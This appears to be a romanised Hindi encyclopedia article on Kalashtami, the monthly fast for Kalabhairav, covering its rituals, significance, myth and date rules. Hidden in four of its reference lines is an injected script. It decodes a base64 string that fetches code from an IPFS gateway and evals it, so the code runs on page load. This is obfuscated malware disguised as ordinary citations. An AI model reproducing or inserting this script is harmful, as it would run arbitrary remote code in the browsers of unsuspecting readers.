कालाष्टमी

	kalashtami
	kal bhairav\|200px\|center
any nam	'kalabhairav jayanti', 'bhairavashtami', 'bhairav jayanti' 'bhairav ashtami'
uddeshy	shastroan ke anusar is din kalabhairav ka darshan evan poojan manavaanchhit phal pradan karata hai.
prarambh	pauranik kal
tithi	pratyek mah mean krishna paksh ki ashtami
dharmik manyata	hindoo manyata ke anusar is din prat:kal pavitr nadi ya sarovar mean snan karake pitaroan ka shraddh v tarpan karake bhairav ji ki pooja v vrat karane se samast vighn samapt ho jate haian tatha dirghayu prapt hoti hai.
sanbandhit lekh	shiv
any janakari	yah dhyan mean rakhana chahie ki 'kalashtami' ka vrat saptami tithi ke din bhi ho sakata hai. dharmik mool granth ke anusar jis din ashtami tithi ratri ke dauran prabal hoti hai, us din vrataraj 'kalashtami' ka vrat kiya jana chahie.

kalashtami athava kala ashtami ka hindoo dharm mean b da hi mahattvapoorn sthan hai. pratyek mah mean krishna paksh ki ashtami tithi ke dauran ise manaya jata hai. 'kalabhairav' ke bhakt varsh ki sabhi 'kalashtami' ke din unaki pooja aur unake lie upavas karate haian. sabase mukhy 'kalashtami', jise 'kalabhairav jayanti' ke nam se jana jata hai, uttari bharatiy poornimaant panchaang ke anusar margashirsh ke mahine mean p dati hai, jabaki dakshini bharatiy amaant panchaang ke anusar kartik mah mean p dati hai. halaanki donoan panchaang mean 'kalabhairav jayanti' ek hi din dekhi jati hai. mana jata hai ki isi din bhagavan shiv 'bhairav' ke roop mean prakat hue the. 'kalabhairav jayanti' ko 'bhairav ashtami' ya 'bhairavashtami' ke nam se bhi jana jata hai.^[1]

vrat vidhi

bhagavan bholenath ke bhairav roop ke smaran matr se hi sabhi prakar ke pap aur kasht door ho jate haian. bhairav ki pooja v upasana se manovaanchhit phal milata hai. at: bhairav ji ki pooja-archana karane tatha kalashtami ke din vrat evan shodshopachar poojan karana atyant shubh evan phaladayak mana gaya hai. shastroan ke anusar is din kalabhairav ka darshan evan poojan manavaanchhit phal pradan karata hai.

bhagavan shiv ke bhairav roop ki upasana karane vale bhaktoan ko bhairavanath ki shodshopachar sahit pooja karani chahie aur unhean ardhy dena chahie. ratri ke samay jagaran karake shivashankar evan parvati ki katha evan bhajan kirtan karana chahie. bhairav katha ka shravan aur manan karana chahie. madhy ratri hone par shankh, naga da, ghanta adi bajakar bhairav ji ki arati karani chahie. bhagavan bhairavanath ka vahan 'shvan' (kutta) hai. at: is din prabhu ki prasannata hetu kutte ko bhojan karana chahie. hindoo manyata ke anusar is din prat:kal pavitr nadi ya sarovar mean snan karake pitaroan ka shraddh v tarpan karake bhairav ji ki pooja v vrat karane se samast vighn samapt ho jate haian tatha dirghayu prapt hoti hai. bhairav ji ki pooja v bhakti karane se bhoot, pishach evan kal bhi door rahate haian. vyakti ko koee rog adi sparsh nahian kar pate. shuddh man evan acharan se ye jo bhi kary karate haian, unamean inhean saphalata milati hai.^[2]

mahatmy

kalashtami ke din kal bhairav ke sath-sath is din devi kalika ki pooja-archana evan vrat ka bhi vidhan hai. kali devi ki upasana karane valoan ko ardharatri ke bad maan ki usi prakar se pooja karani chahie, jis prakar durgapooja mean saptami tithi ko devi kalaratri ki pooja ka vidhan hai. bhairav ki pooja-archana karane se parivar mean sukh-shaanti, samriddhi ke sath-sath svasthy ki raksha bhi hoti hai. bhairav tantrokt, batuk bhairav kavach, kal bhairav stotr, batuk bhairav brahm kavach adi ka niyamit path karane se anek samasyaoan ka nidan hota hai. kalabhairav ashtami par bhairav ke darshan karane se ashubh karmoan se mukti mil jati hai. bhairav upasana ke dvara kroor grahoan ke prabhav se chhutakara milata hai.

katha

bhairavashtami ya kalashtami ki katha ke anusar ek samay shrihari vishnu aur brahma ke madhy vivad utpann hua ki unamean se shreshth kaun hai. yah vivad is had tak badh gaya ki samadhan ke lie bhagavan shiv ek sabha ka ayojan karate haian. is sabha mean mahattvapoorn jnani, rrishi-muni, siddh sant adi upasthit the. sabha mean lie gaye ek nirnay ko bhagavan vishnu to svikar kar lete haian, kiantu brahma ji is nirnay se santusht nahian hote. ve mahadev ka apaman karane lagate haian. shaantachit shiv yah apaman sahan n kar sake aur brahma dvara apamanit kiye jane par unhoanne raudr rup dharan kar liya. bhagavan shankar pralay ke roop mean nazar ane lage aur unaka raudr rup dekhakar tinoan lok bhayabhit ho ge. bhagavan shiv ke isi roodr roop se bhagavan bhairav prakat hue.^[2]

bhairav ji shvan par savar the, unake hath mean dand tha. hath mean dand hone ke karan ve 'dandadhipati' kahe gaye. bhairav ji ka roop atyant bhayankar tha. unake roop ko dekhakar brahma ji ko apani galati ka ehasas hua. vah bhagavan bholenath evan bhairav ki vandana karane lage. bhairav ji brahma evan any devataoan aur sadhuoan dvara vandana karane par shaant ho jate haian.

smaraniy tathy

yah dhyan mean rakhana chahie ki 'kalashtami' ka vrat saptami tithi ke din bhi ho sakata hai. dharmik mool granth ke anusar jis din ashtami tithi ratri ke dauran prabal hoti hai, us din vrataraj 'kalashtami' ka vrat kiya jana chahie. isake anusar hi kalashtami ke lie vrat ke din ka chayan karane ke lie drik panchaang sunishchit karata hai ki pradosh ke bad kam se kam ek ghati ke lie ashtami ko prabal hona chahie. anyatha kalashtami pichhale din chali jati hai, jab ratri ke dauran ashtami tithi ke aur adhik prabal hone ki sambhavana hoti hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 masik kalashtami (hindi). . abhigaman tithi: 21 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 kalashtami (hindi). . abhigaman tithi: 28 aktoobar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 masik kalashtami (hindi). . abhigaman tithi: 21 disambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[mcc-2] 2.0 ^2.1 kalashtami (hindi). . abhigaman tithi: 28 aktoobar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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